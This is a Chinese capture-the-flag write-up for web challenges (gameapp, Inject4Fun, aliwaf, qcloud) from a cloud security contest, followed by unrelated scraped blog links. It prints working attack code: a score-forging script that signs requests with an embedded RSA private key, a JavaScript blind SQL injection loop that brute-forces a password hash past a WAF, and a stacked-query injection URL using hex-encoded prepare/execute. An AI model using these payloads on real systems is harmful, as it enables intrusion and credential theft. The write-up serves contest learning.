gameapp

这题首先反编译apk,简单看了看代码,主要是有startgame和score两个api,然后用模拟器(手机登不上)安装apk抓了下包,数据经过了rsa加密,所以首先用python实现rsa(在网上搜索私钥可以发现已经使用过,所以直接将别人的脚本改了改来用)。题目要求获取99999,但一次最多获取100分,所以发送999次100分,在发送一次99分即可。

 import cPickle,M2Crypto,os,urllib,requests
BaseUrl="http://121.40.219.183:9999/"
sign_pri='''
-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQCqtXUIVoPUcBV1Wl3g8rGGNvMYImonQdMC1Y8USwIwf7Y0GcBP
/h6fAJPAS9//qYZzy8ZfDKH1+ezifFFCUTCCa/8aYFoms223okyzeTlUIRHbIkto
1JxYOazbsE6+KmE+yJiij4839SYuC1KsLWT82uHEA3Hau/DTzW4g4xhvzQIDAQAB
AoGAVHWs7rAnT28ZHtPUCNzqulXrlnBIhx3JMejJfqfR8H7vff2TqcA4FEEr2QNx
U0Pj0tzqS9KrO1EpQ7FwXtheoAmf3tQb5BDxPxcph2820qa/AcIxHpf5LqfONs9d
UrozcR23s561yjX7w5akeRzOwrq2BKwVtF/EoXvJTQKlwV0CQQDY96T70hxUOLoJ
FrLelwl/4Heb0Lrz83lMB6UXknUbJgOiZr/KD9NzEM477MqzKD2rTM4TeULX6cNd
hXm35daXAkEAyWtkRrStowoiscynG1KfaT4ksbbHWr53iqAhv7Z3SAshn3k9TURk
kLCQhyIcXXnuEEGFlK84WxQSy2Q6uLI9OwJBAMpLdE+7IuDAF2z79gCmUJwjfUIR
hw6H95OVGS/2RSvv8LmOFcpfoSaLB89Fw+TxYzaBoS71BAbulVJwbgGx0bcCQQCs
rJxy4UJam73Sn5hDHDn9h4D9uax+ZvskpNNJ/6uS37gbd1zOeOud/0BoGR4oJPeq
iAF0ziKKMlNKesq8vFExAkEAsvLbn5avP/CEkXZB4sRDV/gD3mK+IY5p+ZlBSYAe
KhVKdUXkdJwNqBn+iJMwFhMC7xHIbijLRe3hL9ZB0vt1nQ==
-----END RSA PRIVATE KEY-----
'''
def private_encrypt(data):
rsa_pri = M2Crypto.RSA.load_key_string(sign_pri)
ctxt_pri = rsa_pri.private_encrypt(data, M2Crypto.RSA.pkcs1_padding)
ctxt64_pri = ctxt_pri.encode('base64')
return ctxt64_pri
def public_decrypt(msg):
sign_pub='''
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCqtXUIVoPUcBV1Wl3g8rGGNvMY
ImonQdMC1Y8USwIwf7Y0GcBP/h6fAJPAS9//qYZzy8ZfDKH1+ezifFFCUTCCa/8a
YFoms223okyzeTlUIRHbIkto1JxYOazbsE6+KmE+yJiij4839SYuC1KsLWT82uHE
A3Hau/DTzW4g4xhvzQIDAQAB
-----END PUBLIC KEY-----
'''
bio = M2Crypto.BIO.MemoryBuffer(sign_pub)
rsa_pub = M2Crypto.RSA.load_pub_key_bio(bio)
ctxt_pri = msg.decode("base64")
output = rsa_pub.public_decrypt(ctxt_pri, M2Crypto.RSA.pkcs1_padding)
return output data1 = '{"player" : "user"}'
a = requests.Session()
a.post(url=BaseUrl+"startgame/",data=private_encrypt(data1),headers={'Content-Type':'xxx'})
for i in range(999):
r=a.post(url=BaseUrl+"score/",data=private_encrypt("""{"score":100,"op":"add"}"""),headers={'Content-Type':'xxx'})
print r.text
r=a.post(url=BaseUrl+"score/",data=private_encrypt("""{"score":99,"op":"add"}"""),headers={'Content-Type':'xxx'})
print r.text r=a.get(url=BaseUrl,headers={'Content-Type':'xxx'})
print r
print a

Inject4Fun

这题需要说的其实不多,总结就两点

1.实现前端加密

 var password = "admin";
var username = "admin";
var a = '1234567890abcdef';
var key = CryptoJS.enc.Latin1.parse(a);
var iv = CryptoJS.enc.Latin1.parse('1234567890123456');
var data1 = username;
var encrypted1 = CryptoJS.AES.encrypt(data1, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.ZeroPadding });
var data2 = password;
var encrypted2 = CryptoJS.AES.encrypt(data2, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.ZeroPadding });
var rsa = new RSAKey();
var modulus = "CDB41B014C244A55CEC3E9D222B22C8A05A7DD7DF8A419A2A9C08E91DF725A1FD4C09777F36D394701C5DB97CCFC52FFBD5A90329295F5CEBBB89986BAAFAE4FE58A1F3ECFC39A7B960F5697632CE9D2FAA787F36D9CF5F4FE59DBB52E0554CC4B510D87AB72EB80D36A61E8B9AD00F37720578986E5F17AB0387754566F4E2B";
var exponent = "010001";
rsa.setPublic(modulus, exponent);
var res = rsa.encrypt(a);
var xhr = new XMLHttpRequest();
xhr.open("POST","http://129.204.73.141:2000/login.php",false);
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xhr.send("username="+encrypted1+"&password="+encrypted2+"&code="+res);
xhr.response
2.绕过waf
这里直接给出payload var username = "admin'=(left(right(password,1),1)>'a')='1"; //返回wrong password
var username = "admin'=(left(right(password,1),1)<'a')='1"; //返回wrong user
exp

不知道为什么,这题的waf有毒,可能随机性触发,可以通过修改随机生成的16位key来解决着这个问题

因为waf有毒的问题,没法一次性跑出32位hash,需要多次修改a来获取完整hash

 var pass='';
var s='1234567890abcdef';
for(var n=1;n<33;n++)
{
for(var i in s)
{
var password = "admin";
var username = "admin'=(left(right(password,"+n+"),1)='"+s[i]+"')='1";
var a = '1234567890abceef';
var key = CryptoJS.enc.Latin1.parse(a);
var iv = CryptoJS.enc.Latin1.parse('1234567890123456');
var data1 = username;
var encrypted1 = CryptoJS.AES.encrypt(data1, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.ZeroPadding });
var data2 = password;
var encrypted2 = CryptoJS.AES.encrypt(data2, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.ZeroPadding });
var rsa = new RSAKey();
var modulus = "CDB41B014C244A55CEC3E9D222B22C8A05A7DD7DF8A419A2A9C08E91DF725A1FD4C09777F36D394701C5DB97CCFC52FFBD5A90329295F5CEBBB89986BAAFAE4FE58A1F3ECFC39A7B960F5697632CE9D2FAA787F36D9CF5F4FE59DBB52E0554CC4B510D87AB72EB80D36A61E8B9AD00F37720578986E5F17AB0387754566F4E2B";
var exponent = "010001";
rsa.setPublic(modulus, exponent);
var res = rsa.encrypt(a);
var xhr = new XMLHttpRequest();
xhr.open("POST","http://129.204.73.141:2000/login.php",false);
xhr.setRequestHeader("Content-type","application/x-www-form-urlencoded");
setTimeout(xhr.send("username="+encrypted1+"&password="+encrypted2+"&code="+res),1000);
if(xhr.response.search('wrong password')!=-1)
{pass+=s[i];console.log(s[i]+' '+n);break;}
}
}

aliwaf

1. 不能用子查询,select和from不能同时出现

2. set 与 execute不能同时出现,还有一些waf,记不清了

通过--%0a测出堆叠后,最后拿一叶飘零强网杯的payload改为下面这样拿到flag

http://aliwaf.xctf.org.cn/index.php?username=0%27;--%0aselect%200x73656c65637420757365722066726f6d206d7973716c2e75736572%20into%20@s;prepare%20a%20from%20@s;EXECUTE%20a;

qcloud

这题赛中没做出来,第一天用char(1,2,3)判断了是sqlite,第二天却发现没法用sqlite_version和sqlite_master震惊。运气好猜到了user表,但是没有弄出数据来

"数字经济"云安全共测大赛Web-Writeup的更多相关文章

  1. Writeup:第五届上海市大学生网络安全大赛-Web

    目录 Writeup:第五届上海市大学生网络安全大赛-Web 一.Decade 无参数函数RCE(./..) 二.Easysql 三.Babyt5 二次编码绕过strpos Description: ...

  2. 图扑软件正式加入腾讯智维生态发展计划,智能 IDC 开启数字经济新征程

    4 月 23 日,主题为<智汇科技,维新至善>的腾讯数据中心智维技术研讨会在深圳胜利召开,发布了腾讯智维 2.0 技术体系,深度揭秘了智维 2.0 新产品战略和技术规划.图扑软件(High ...

  3. HTTP lab01 做一个简单的测试用 web页面

      做一个简单的测试用 web页面     1.安装httpd服务   yum install httpd   安装完httpd服务后,系统就自动生成了/var/www/html目录     创建一个 ...

  4. ISG 2018 Web Writeup

    作者:agetflag 原文来自:ISG 2018 Web Writeup ISG 2018 Web Writeup CTF萌新,所以写的比较基础,请大佬们勿喷,比赛本身的Web题也不难 calc 首 ...

  5. NGK公链依靠技术创新推动数字经济产业发展

    数字经济更让人们的生活发生了翻天覆地的变化.数字经济的发展要依靠技术的创新,发展出生态新模式.同时数字经济的发展要利用新技术对传统产业进行全面的的改造升级,释放数字对经济发展的放大.倍增作用.打造数字 ...

  6. CURTIS SAVANAH:数字经济=智能基础设施+海量数据+新生业态

    前不久,Datahero Inc公司(公司编号:20141166945)创始人CURTIS SAVANAH在会议上表示,要构建数字经济的愿景,需要智能基础设施.海量数据和全新新生业态. 他在演讲中说到 ...

  7. NGK公链如何构建区块链数字经济商业帝国?

    2020年对于区块链市场来说,重大的利好消息莫过于NGK公链的上线了.NGK公链其广泛的市场前景.顶尖的技术,一直备受众多大型机构以及投资者所看好.同时,NGK公链也不负众望,在上线以后,就开始落地到 ...

  8. [SHA2017](web) writeup

    [SHA2017](web) writeup Bon Appétit (100) 打开页面查看源代码,发现如下 自然而然想到php伪协议,有个坑,看不了index.php,只能看 .htaccess ...

  9. [WUST-CTF]Web WriteUp

    周末放假忙里偷闲打了两场比赛,其中一场就是武汉科技大学的WUST-CTF新生赛,虽说是新生赛,题目质量还是相当不错的.最后有幸拿了总排第5,记录一下Web的题解. checkin 进入题目询问题目作者 ...

随机推荐

  1. window下redis的安装和使用

    1.下载及安装redis 下载地址:https://github.com/dmajkic/redis/downloads 找到对应的版本下载安装 打开cmd窗口,用cd命令进入到安装redis的根目录 ...

  2. javascript中如何判断数组是数组

    if (!Array.isArray) { Array.isArray = function(arg) { return Object.prototype.toString.call(arg) === ...

  3. No PostCSS Config found in报错解决

    前情提要]日前本人将本地项目上传GitHub之后,然后再clone到本地,运行是报错:Error: No PostCSS Config found in... 项目在本地打包运行的时候不报错,上传到 ...

  4. Java字节码方法表与属性表详解

    继续跟着上一次[https://www.cnblogs.com/webor2006/p/9502507.html]的那10个代表code的字节分析,如下: 而这些字节其实对应的信息是它: 所以问题就来 ...

  5. mysql修改表字段顺序

    修改字段排列位置 ALTER TABLE 表名 MODIFY 字段名1 数据类型 FIRST|AFTER 字段名2 参数说明 FIRST,可选参数 将字段1,修改为表的第一个字段. AFTER 字段名 ...

  6. JavaScript004,输出

    <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title> ...

  7. 4.使用webpack-dev-server工具实现自动打包编译的功能

    使用webpack-dev-server这个工具,来实现自动打包编译的功能 1.运行 npm i webpack-dev-server -D 把这个工具安装到项目的本地开发依赖 或者运行 cnpm i ...

  8. [转载]Appium工作原理

    [Appium]Appium工作原理 2017-09-13 15:28 sophia194910 阅读(7658) 评论(0) 编辑 收藏 参考:http://www.cnblogs.com/zhjs ...

  9. IIS设置网站为HTTPS并且将HTTP重定向到HTTPS

    第一步:下载证书,导入证书到IIS https://help.aliyun.com/knowledge_detail/95502.html 站点绑定https 第二部:安装URL重写模块 rewrit ...

  10. jQuery序列化乱码解决

    query之提交序列化表单(serialize)及乱码处理1 提交乱码处理JSP文件声明如下 <%@ page language="java" pageEncoding=&q ...